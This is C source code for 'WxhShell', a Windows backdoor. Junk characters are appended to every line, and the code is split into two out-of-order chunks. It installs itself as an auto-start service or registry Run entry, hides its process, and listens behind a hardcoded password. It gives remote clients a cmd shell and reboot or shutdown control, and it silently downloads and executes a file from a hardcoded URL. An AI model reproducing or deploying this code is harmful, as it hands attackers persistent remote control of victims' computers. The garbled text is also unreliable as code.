    ExitThread(0); tx d0S!  
    } Z#@  
    break; Zfk]Z9YO  
    } 9Zd\6F,  
  // 获取shell B0|W  
  case 's': { QBGm)h?=  
    CmdShell(wsh); _Vp"G)1Y  
    closesocket(wsh); *y?6m,38V  
    ExitThread(0); NUVKAAgMX  
    break; bj@sci(1?  
  } j=T8 b  
  // 退出 v@QnS  
  case 'x': { +0U=UV)U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U%bm{oVn  
    CloseIt(wsh); &Cb,C+q  
    break; ,u>LAo0  
    } ORrZu$n`p  
  // 离开 yq|yGf(4&  
  case 'q': { |*JMPg?zI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =5*Wu+S4r  
    closesocket(wsh); plPPf+\  
    WSACleanup(); J|{50?S{^  
    exit(1);  t* Ct*  
    break; )rP,+B?W  
        } \azMF}mb  
  } rM.Pc?Z  
  } _fZec+oM  
h(yFr/  
  // 提示信息 hK)'dG*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3}s]F/e  
} n*$g1HG6  
  } /UK?&+1qE  
\h3HaNC  
  return; qvu1u GCc  
} v)*MgfS  
=&08s(A  
// shell模块句柄 v#{Nh8n  
int CmdShell(SOCKET sock) ?7wcv$K5  
{ k^|z.$+  
STARTUPINFO si; !HU$V9C  
ZeroMemory(&si,sizeof(si)); YK{J"Kof  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'cc8 xC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }v}F8}4  
PROCESS_INFORMATION ProcessInfo; ``< #F3  
char cmdline[]="cmd"; !%M,x~H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |Q)mBvvN  
  return 0; *#>(P  
} pLe4dz WA  
D~ 3@v+d  
// 自身启动模式 MzUKp"  
int StartFromService(void) ?XdvZf $  
{ b#N P*L&  
typedef struct vdn)+fZ;   
{ hd'fWFW N  
  DWORD ExitStatus; *~ IHVU  
  DWORD PebBaseAddress; a]fFR~ OY  
  DWORD AffinityMask; i[9gcL"  
  DWORD BasePriority; @,1_CqV  
  ULONG UniqueProcessId; %T>@Ldt  
  ULONG InheritedFromUniqueProcessId; &iw,||#  
}   PROCESS_BASIC_INFORMATION; HdtGyh6X0  
I2HV{1(i  
PROCNTQSIP NtQueryInformationProcess; |~%RSS~b*  
E8Kk )7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y "+'4:_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cO{NiRIb  
/9kxDbj  
  HANDLE             hProcess; XdThl  
  PROCESS_BASIC_INFORMATION pbi; 7#+Ih-&EQ  
~Yc~_)hD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ssQ1u.x9  
  if(NULL == hInst ) return 0; 3<<wHK;)  
*:d ``L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sx azl]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !VIxEu^ke  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }iDRlE,  
,=CipL9]  
  if (!NtQueryInformationProcess) return 0; ]t!v`TH  
<2@t ~ 9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G"&$7!6[Y  
  if(!hProcess) return 0; H +I,c1sF  
-w2^26 ax  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {J1rjrPo  
TJRp/BP  
  CloseHandle(hProcess); w uY-f4  
:_i1gY)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5P #._Em  
if(hProcess==NULL) return 0; T_2'=7  
3(J>aQZuI  
HMODULE hMod; vcy1itY  
char procName[255]; yx`@f8Kr  
unsigned long cbNeeded; ='D%c^;O8'  
bE% Hm!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'X+aYF }Ye  
Y_faqmZ 9]  
  CloseHandle(hProcess); =>PX~/o  
W (TTsnnx  
if(strstr(procName,"services")) return 1; // 以服务启动 .(Ux1.0C  
>.P* lT  
  return 0; // 注册表启动 A4l"^dZc  
} _:Q^mV=;j  
}P%gwgPK  
// 主模块 $I-iq @  
int StartWxhshell(LPSTR lpCmdLine) 3F;0a ;[  
{ m`zd0IRTP  
  SOCKET wsl; w7~]c,$y.  
BOOL val=TRUE; 2&'uO'K  
  int port=0; jo"+_)]  
  struct sockaddr_in door; jN{k }  
i: -IZL\  
  if(wscfg.ws_autoins) Install(); 7ojh=imY  
=3hJti9[  
port=atoi(lpCmdLine); }mp`!7?>O  
PJKY$s.  
if(port<=0) port=wscfg.ws_port; *vBhd2HO  
o|n;{zT"  
  WSADATA data; J%ws-A?6rN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H h](n<Bs  
JYjc^m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1*9Yy~w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (AA@ sN  
  door.sin_family = AF_INET; xF) .S@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *]q`:~u2  
  door.sin_port = htons(port); lbIW1z%:sy  
u]B b^[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <F_w4!  
closesocket(wsl); }T902RL0  
return 1; vQXF$/S  
} myXGMN$i  
*URY8 a`bO  
  if(listen(wsl,2) == INVALID_SOCKET) { eWYet2!Q  
closesocket(wsl); `m AYK)N  
return 1; .-s!} P"  
} _kOuD}_|  
  Wxhshell(wsl); i-0AcN./p  
  WSACleanup(); T06w`'aL  
<5]_u:  
return 0; 4mBM5Tv  
UlN}SddI9  
} /Y\q&}  
-{eiV0<^  
// 以NT服务方式启动 -=rGN"(M _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /s)It  
{ 25, [<Ao  
DWORD   status = 0; ;ACeY  
  DWORD   specificError = 0xfffffff; 3s:)CXO  
<C"}OW8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gcX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]]V=\.y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q{,yas7}  
  serviceStatus.dwWin32ExitCode     = 0; ioTqT:.  
  serviceStatus.dwServiceSpecificExitCode = 0; <0`"vPU  
  serviceStatus.dwCheckPoint       = 0; Y=pRenV'  
  serviceStatus.dwWaitHint       = 0; qy\SOA h  
E.VEW;=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /KvpJ4  
  if (hServiceStatusHandle==0) return; TKw>eGe  
Z-U3Tr SI  
status = GetLastError(); Pd  6  
  if (status!=NO_ERROR) *=E4|>Ul,  
{ I GcR5/3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S9/\L6Rmf  
    serviceStatus.dwCheckPoint       = 0; DML0paOm5  
    serviceStatus.dwWaitHint       = 0; P#A|Pn<p  
    serviceStatus.dwWin32ExitCode     = status; T?__  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~;I{d7z,;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mOjl0n[To]  
    return; i3Nt?FSN  
  } +xmZK<{<  
Git2Cet  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SR)@'-Wd  
  serviceStatus.dwCheckPoint       = 0; '?fn} V  
  serviceStatus.dwWaitHint       = 0; 9*|An  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MT&q~jx*  
} \v9<L'NP)  
e8]mdU{)  
// 处理NT服务事件,比如:启动、停止 H~*[v"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &P8Q|A-u  
{ x2f_>tu2  
switch(fdwControl) FUPJ&7+B  
{ Ug O\+cI  
case SERVICE_CONTROL_STOP: >y q L  
  serviceStatus.dwWin32ExitCode = 0; oWOH#w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z#&qWO  
  serviceStatus.dwCheckPoint   = 0; \}qv}hU  
  serviceStatus.dwWaitHint     = 0; ]@1ncn7N  
  { RzSN,bL R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p7O4CP>9[  
  } p/s5[>N  
  return; CV7.hF<  
case SERVICE_CONTROL_PAUSE: =WP}RZ{S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m7mC 7x  
  break; }KkH7XksF  
case SERVICE_CONTROL_CONTINUE: F{<r IR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }@A~a`9g  
  break; .~8IW,[  
case SERVICE_CONTROL_INTERROGATE: &9g#Vq%   
  break; *KV] MdS  
}; qm}7w3I^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 55|$Imnf  
} g(;ejKSR  
N=L urXv  
// 标准应用程序主函数 7~`6~qg.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ae1fCw3k  
{ ]R]X#jm  
')FNudsC  
// 获取操作系统版本 PwNLJj+%  
OsIsNt=GetOsVer(); X!_OOfueP8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kd,m;S\  
XJOo.Y  
  // 从命令行安装 anV)$PT=  
  if(strpbrk(lpCmdLine,"iI")) Install(); /ci.IT$Q^  
g-(xuR^*  
  // 下载执行文件 G6Fg<g9:  
if(wscfg.ws_downexe) { uTJ?@ ^nq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cw^)}23R  
  WinExec(wscfg.ws_filenam,SW_HIDE); eZJOI1wNp  
} O "h+i>|l  
n:!J3pR  
if(!OsIsNt) { I2l'y8)d  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,wEM  
HideProc(); {k]VT4/  
StartWxhshell(lpCmdLine); `RzM)ILl  
} =XS'V*  
else wYawG$@_  
  if(StartFromService()) Ia"bP` L  
  // 以服务方式启动 :3Jh f$  
  StartServiceCtrlDispatcher(DispatchTable); I5"=b}V5  
else u})JQ<|  
  // 普通方式启动 \)"qN^we  
  StartWxhshell(lpCmdLine); NAocmbfNz  
-jw=Iyv  
return 0; " 7 4L  
} ]V]o%onW  
,^,J[F  
bU,& |K/  
BPOWo8TqD^  
=========================================== &]c9}Ic  
dCyQCA[  
wb9zJAsc  
}w@nZG ^&  
Y\x Xo?  
Qqaf\$X  
" J8D-a!  
QBo^{],  
#include <stdio.h> tr}$82Po  
#include <string.h> wLbns qa  
#include <windows.h> NV;tsuA|  
#include <winsock2.h> \^:f4ZT  
#include <winsvc.h> Te13Af~  
#include <urlmon.h> gy[uq m_ T  
\ a<Ye T  
#pragma comment (lib, "Ws2_32.lib") 1wM p3  
#pragma comment (lib, "urlmon.lib") 1|89-Ii]  
zc(7p;w#p  
#define MAX_USER   100 // 最大客户端连接数 xMh&C{q  
#define BUF_SOCK   200 // sock buffer cS[`1y,\3  
#define KEY_BUFF   255 // 输入 buffer 0nuFWV  
A,/S/_Q=  
#define REBOOT     0   // 重启 P$QfcJq&c*  
#define SHUTDOWN   1   // 关机 3WVHI$A9  
$_UF9 l0  
#define DEF_PORT   5000 // 监听端口 &pAT  
pQhv3F  
#define REG_LEN     16   // 注册表键长度 GgYomR:  
#define SVC_LEN     80   // NT服务名长度 }?^G= IP4(  
Z~gqTB]H  
// 从dll定义API Mf63 59  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iB`m!g6$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oAx0$]+%V)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WQ]pg "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] ge-b\  
`F@yZ4L3S  
// wxhshell配置信息 \3/9lE|gh  
struct WSCFG { Pg36'aTe%j  
  int ws_port;         // 监听端口 lo#,zd~  
  char ws_passstr[REG_LEN]; // 口令 I R&u55#I6  
  int ws_autoins;       // 安装标记, 1=yes 0=no PTh Ya  
  char ws_regname[REG_LEN]; // 注册表键名 s5dh]vNN  
  char ws_svcname[REG_LEN]; // 服务名 Lsz`nD5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WveFB%@`;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1,J.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x@ O:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $b$D[4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }R x%&29&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {%Y7]*D  
;sf/tX  
}; }ie]7N6;  
9.B7Owgr89  
// default Wxhshell configuration HKwGaCj`  
struct WSCFG wscfg={DEF_PORT, |"< I\Vs:  
    "xuhuanlingzhe", !|/fVWH  
    1, uI[*uAR  
    "Wxhshell", )em.KbsPPF  
    "Wxhshell", Z0=OR^HjA  
            "WxhShell Service", uwka 2aSS  
    "Wrsky Windows CmdShell Service", |<0@RCgM  
    "Please Input Your Password: ", #rwR)9iC0  
  1, SJ-Sac58r  
  "http://www.wrsky.com/wxhshell.exe", ]lY9[~ v  
  "Wxhshell.exe" `<n:D`{dZ  
    }; `dZ|}4[1  
%r"GL  
// 消息定义模块 ){:aGGtko  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $\ '\@3o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _u>>+6,p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :6+~"7T  
char *msg_ws_ext="\n\rExit."; u"jnEKN0y  
char *msg_ws_end="\n\rQuit."; LayU)TIt  
char *msg_ws_boot="\n\rReboot..."; 8gNEL+  
char *msg_ws_poff="\n\rShutdown..."; ^d*>P|n*@e  
char *msg_ws_down="\n\rSave to "; M)7enp) F.  
V]}b3Y!(  
char *msg_ws_err="\n\rErr!"; Vvj]2V3  
char *msg_ws_ok="\n\rOK!"; 8rYK~Sz  
%-Z~f~<?  
char ExeFile[MAX_PATH]; w$4Lu"N :  
int nUser = 0; ULjzhy+(8  
HANDLE handles[MAX_USER]; !Xi>{nV  
int OsIsNt; d#Ajb  
]N_^{k,  
SERVICE_STATUS       serviceStatus; 8.':pY'8"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C.-a:oQ[  
o{p_s0IX;S  
// 函数声明 Hi9z<l=$  
int Install(void); 9_3M}|V$^e  
int Uninstall(void); &?6w 2[}  
int DownloadFile(char *sURL, SOCKET wsh); \tx/!tA  
int Boot(int flag); }nl)*l  
void HideProc(void); ~tvoR&{I  
int GetOsVer(void); GB3B4)cX4Y  
int Wxhshell(SOCKET wsl); : 4WbDeR  
void TalkWithClient(void *cs); l0{DnQA>I  
int CmdShell(SOCKET sock); P}`1#$  
int StartFromService(void); iurB8~Y  
int StartWxhshell(LPSTR lpCmdLine); }i:'f 2/  
VHCzlg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h6i{5\7.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gu).*cU  
rR~X>+K  
// 数据结构和表定义 w ZAXfNA  
SERVICE_TABLE_ENTRY DispatchTable[] = ~0|hobk  
{ 2\de |'  
{wscfg.ws_svcname, NTServiceMain}, ~*Qpv&y)  
{NULL, NULL} x["  
}; nif' l/@"  
Rn_c9p  
// 自我安装 9lCKz !E  
int Install(void) rgKn=8+a  
{ RzQS@^u*F0  
  char svExeFile[MAX_PATH]; w>_EM&r6~u  
  HKEY key; zP}v2  
  strcpy(svExeFile,ExeFile); )6^xIh  
rU@?v+i  
// 如果是win9x系统,修改注册表设为自启动 3H2;mqq  
if(!OsIsNt) { "lf3hWGw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ZBR<{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .~ lt+M9  
  RegCloseKey(key); qI*1+R}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a HL '(<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -<]_:Kf{;&  
  RegCloseKey(key); Q0\5j<'e  
  return 0; RJ4mlW  
    } /8\&f %E  
  } +Uq:sfj,  
} `r(J6,O  
else { /ASI 0h  
P'9io!Z-s  
// 如果是NT以上系统,安装为系统服务 WI_mJ/2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]_8I_V cQ  
if (schSCManager!=0) }9 2lr87  
{ !p2,|6Y`y  
  SC_HANDLE schService = CreateService D(U3zXdO  
  ( Ilb |:x"L  
  schSCManager, N06O.bji  
  wscfg.ws_svcname, agT[y/gb  
  wscfg.ws_svcdisp, e~]e9-L>I  
  SERVICE_ALL_ACCESS, }yDq\5s Q[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MWh+h7k'  
  SERVICE_AUTO_START, q Xhf?x  
  SERVICE_ERROR_NORMAL, _C=[bI@  
  svExeFile, >0#q!H,X  
  NULL, arVf"3a  
  NULL, _)2TLA n3  
  NULL, >Eg. c  
  NULL, hp V /F  
  NULL }A/&]1GWk  
  ); 6F/ OlK<  
  if (schService!=0) jYID44$  
  { k+GnF00N^8  
  CloseServiceHandle(schService); bI6wE'h  
  CloseServiceHandle(schSCManager); <SdJM1%Qo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .eB"la|d  
  strcat(svExeFile,wscfg.ws_svcname); ]f-'A>MC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oHd0 <TO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +gCy@_2;  
  RegCloseKey(key); :k(t/*Nl3  
  return 0; E/$@ud|l"  
    } LE80`t>M#  
  } *1S.9L  
  CloseServiceHandle(schSCManager); *N e2l`!1m  
} 4eL54).1O  
} ?V:]u 3  
@ZR4%A"X4  
return 1; UH&1c8y}  
} rRrW   
mW0&uSM D  
// 自我卸载 (`.qG &6p  
int Uninstall(void) G:C6`uiy`  
{ 8kM0  
  HKEY key; <ZC^H  
'# IuY  
if(!OsIsNt) { !vVjZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p2DNbY\]  
  RegDeleteValue(key,wscfg.ws_regname); as |c`4r\O  
  RegCloseKey(key); ;6 6_G Sjz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }rA+W-7  
  RegDeleteValue(key,wscfg.ws_regname); mYOdBd  
  RegCloseKey(key); wp*&&0O!  
  return 0; 9iddanQA  
  } +\[![r^P  
} `e'o~ oSu  
} n.6 0$kR`  
else { U2>dwn  
akc"}+-oX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r,@X>_}  
if (schSCManager!=0) 2G}7R5``9  
{ 4[CBW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \g:qQ*.  
  if (schService!=0) fy=C!N&/  
  { p2c=;5|/Q  
  if(DeleteService(schService)!=0) { $N+ {r=  
  CloseServiceHandle(schService); IQi[g~E.5  
  CloseServiceHandle(schSCManager); [(hvK {)  
  return 0; |od4kt  
  } ;n7|.O]*  
  CloseServiceHandle(schService); R ms01m>Y  
  } s.I1L?s1w?  
  CloseServiceHandle(schSCManager); lPcVhj6No%  
} a.&#dxgW[  
} $X=D9h  
ctUF/[_w;  
return 1; g=g.GpFt  
} <AAZ8#^  
r|\'9"@  
// 从指定url下载文件 eo*u(@  
int DownloadFile(char *sURL, SOCKET wsh) 6n6VEwYj  
{ /mB Beg^a  
  HRESULT hr; EfBVu  
char seps[]= "/"; !k= 0X\5L  
char *token; azDC'.3{p  
char *file; ^Im%D(MY  
char myURL[MAX_PATH]; uJ/?+5TU  
char myFILE[MAX_PATH]; 9<(K6Q  
o=RqegL  
strcpy(myURL,sURL); _`X#c-J  
  token=strtok(myURL,seps); 2hwXWTSu  
  while(token!=NULL) "X{aS}  
  { Y0u'@l_[F  
    file=token; 7fW=5wc  
  token=strtok(NULL,seps); tC@zM.v%  
  } _z(5e  
Ad`[Rt']kI  
GetCurrentDirectory(MAX_PATH,myFILE); B`?N0t%X  
strcat(myFILE, "\\"); rv%ye H  
strcat(myFILE, file); x#j\"$dla  
  send(wsh,myFILE,strlen(myFILE),0); Msa6yD#  
send(wsh,"...",3,0); 4j/iG\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !G"9xrr1  
  if(hr==S_OK) <` p75B  
return 0; APtselC  
else 7tfivIj)e  
return 1; ueE?"Hk  
4/`h@]8P  
} A M1C $  
4I#eC#"  
// 系统电源模块 mj(&`HRs4  
int Boot(int flag) >\?z37 :T  
{ Yf!*OGF  
  HANDLE hToken; eb.cq"C  
  TOKEN_PRIVILEGES tkp; @( n^S?(  
# +QWi0B  
  if(OsIsNt) { -#S)}N En  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4QjWZ Wl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [C+Gmu  
    tkp.PrivilegeCount = 1; HL(U~Q6JQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H7yg9zFT N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o1#:j?sN  
if(flag==REBOOT) { b,rH&+2H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "'F;lzq  
  return 0; iO9nvM<  
} KYkS6|A  
else { L*UV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ gfA](N  
  return 0; }l}yn@hYC  
} pVV}1RDa  
  } vhYMWfbY  
  else { `dgM|.w5=  
if(flag==REBOOT) { !O F?xW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :PFx&  
  return 0; %l8*t$8  
} f E.L  
else { s,$Z ("B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WG8iTVwx  
  return 0; y7M:b Uh  
} ?y>Y$-v/C  
} @3 -,=x  
a)_rka1(  
return 1; uEScAeQXsI  
} 'n l RY5@2  
7>'uj7r]=  
// win9x进程隐藏模块 e' U"`)S  
void HideProc(void) "xDx/d8B  
{ $>'")7z  
2<[ eD`u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SLJ&{`"7  
  if ( hKernel != NULL ) 9@#h}E1$  
  { QM[A;WBr7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3C rQBIj1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d1~_?V'r]  
    FreeLibrary(hKernel); "w*+v  
  } <2)s<S.;  
E7X!cm/2<  
return; m/YH^N0  
} >:F,-cx<  
VG<Hw{ c3r  
// 获取操作系统版本 @cuD8<\i  
int GetOsVer(void) Ka]J^w;a  
{ $5TepH0D  
  OSVERSIONINFO winfo; $=PWT-GIR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qy=HrL]x  
  GetVersionEx(&winfo); o~v_PD[S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :W.jNV{e\F  
  return 1; 0T9@,scY  
  else [F/^J|VMV  
  return 0; ;dqk@@O"(  
} JQ) 4}t  
JkSdLj  
// 客户端句柄模块 yaH Trh%  
int Wxhshell(SOCKET wsl) -ajM5S=d*  
{ IPl@ DH  
  SOCKET wsh;  SwdC,  
  struct sockaddr_in client; I#|ocz  
  DWORD myID; .q0218l:dF  
.O5LI35,  
  while(nUser<MAX_USER) r-RCe3%g%  
{ w=f0*$ue+w  
  int nSize=sizeof(client); |Z`M*.d+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @gt)P4yE  
  if(wsh==INVALID_SOCKET) return 1; \8;Qv  
V19e>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UGhW0X3k  
if(handles[nUser]==0) (;;J,*NP  
  closesocket(wsh); pOqGAD{D$  
else .M DYGWKt  
  nUser++; nE/=:{~Ws  
  } uy/y wm/?=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .A3DFm3t  
gw_|C|!P  
  return 0; p= !#],[  
} `9.dgV  
I2TD.wuIW  
// 关闭 socket mD9STuA$H  
void CloseIt(SOCKET wsh) 79)A%@YHQQ  
{ B0f_kH~p~  
closesocket(wsh); "'['(e+7  
nUser--; =2^Vgc  
ExitThread(0); }qc#lz  
} %x&F4U  
 MKU7fFN.  
// 客户端请求句柄 r%0pQEl  
void TalkWithClient(void *cs) B|cA[  
{ ?22d},.  
nIfN"  
  SOCKET wsh=(SOCKET)cs; 'UY[ap  
  char pwd[SVC_LEN]; ]EB6+x!G  
  char cmd[KEY_BUFF]; hP?7zz$*j  
char chr[1]; 7^ 4jcfJH  
int i,j; g[/^cJHQ  
O$a#2p&  
  while (nUser < MAX_USER) { }l~]b3@qu  
d i!"IQAvK  
if(wscfg.ws_passstr) { Tdg6kkJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {tPnj_|n<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m"n.Dz/S  
  //ZeroMemory(pwd,KEY_BUFF); \CcmePTN#x  
      i=0; (nGkZ}p  
  while(i<SVC_LEN) { F[5S(7M 7  
HtxLMzgz<<  
  // 设置超时 Osnyd+dJY  
  fd_set FdRead; E]NY (1  
  struct timeval TimeOut; GGH;Z WSe  
  FD_ZERO(&FdRead); #C4|@7w%  
  FD_SET(wsh,&FdRead); :]'q#$!  
  TimeOut.tv_sec=8; kEO1TS  
  TimeOut.tv_usec=0; 7'Lp8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >A3LA3( c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bb~5& @M|N  
d+tj%7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ASR-a't6  
  pwd=chr[0]; wTT RoeJ}  
  if(chr[0]==0xd || chr[0]==0xa) { 9hy'DcSy,  
  pwd=0; ^%;"[r  
  break; [q'eEN G  
  } v{o? #Sk1  
  i++; g^jJ8k,7(  
    } >;,gGH  
ei@3,{~5  
  // 如果是非法用户,关闭 socket D}MoNE[r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `aIG;@Z  
} /J;;|X#P  
R;r|cep  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kfXS_\@iW1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3!aEClRtq  
?9p$XG  
while(1) { =c&62;O  
^uhxURF  
  ZeroMemory(cmd,KEY_BUFF); S/VA~,KCe;  
ZW>o5x__b  
      // 自动支持客户端 telnet标准   4Q;<Q"  
  j=0; Lx%:t YZ  
  while(j<KEY_BUFF) { HcA[QBh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [<yz)<<  
  cmd[j]=chr[0]; PB+\jj  
  if(chr[0]==0xa || chr[0]==0xd) { 5C B%=iL{  
  cmd[j]=0; RK-x?ZYH'  
  break; p'}lN|"{O  
  } u#FXW_-TK  
  j++; VgA48qZ  
    } 4f!dY o4L  
QWw"K$l  
  // 下载文件 ;u,rtEMy;  
  if(strstr(cmd,"http://")) { ^#;RLSv   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  //<:k8  
  if(DownloadFile(cmd,wsh)) p5-<P?B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `gI~|A4  
  else &mcR   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S;8.yj-  
  } .Vmtx  
  else { J?IC~5*2  
N!L'W\H,  
    switch(cmd[0]) { F$h'p4$T  
  ds]?;l"  
  // 帮助 |<rfvsQ.  
  case '?': { `E W!-v)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <1 S+ '  
    break; _s*! t  
  } V\AK6U@r^  
